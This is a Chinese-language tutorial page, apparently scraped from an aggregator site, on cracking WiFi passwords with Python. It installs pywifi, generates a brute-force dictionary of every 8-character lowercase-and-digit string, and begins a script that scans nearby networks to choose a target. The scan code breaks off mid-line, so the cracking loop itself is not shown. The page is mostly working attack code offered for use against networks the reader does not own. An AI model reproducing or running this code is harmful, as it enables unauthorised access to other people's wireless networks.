python破解wifi教程

您所在的位置:网站首页 pandas视频教程 python破解wifi教程

python破解wifi教程

#python破解wifi教程| 来源: 网络整理| 查看: 265

目录

一、安装pywifi

二、构建wifi密码字典

三、python实现wifi破解

四、结果展示

4.1  选择要破解的wifi名称

4.2 获取字典

4.3 成功破解

一、安装pywifi

pywifi是在python中一个用于操作无线接口的模块,可以跨平台使用,Windows和Linux都支持

在notebook或者pycharm、anaconda中安装

pip install pywifi 二、构建wifi密码字典

一般字典包括数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=-)

常规的wifi密码为8位,且仅包括数字和小写字母,所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现),作为wifi密码组成字典存入txt文档。

import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可选择的字符 r =its.product(words,repeat=8) #组成8位字符串 dic = open("pwd.txt","a") #存储为wifi密码字典 #wifi密码完成换行,并写入txt文档 for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close() 三、python实现wifi破解 import pywifi import time from pywifi import const # WiFi扫描模块 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一个无线网卡 interface = wifi.interfaces()[0] # 开始扫描 interface.scan() for i in range(4): time.sleep(1) print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')') print('\r扫描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print('\r{:


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3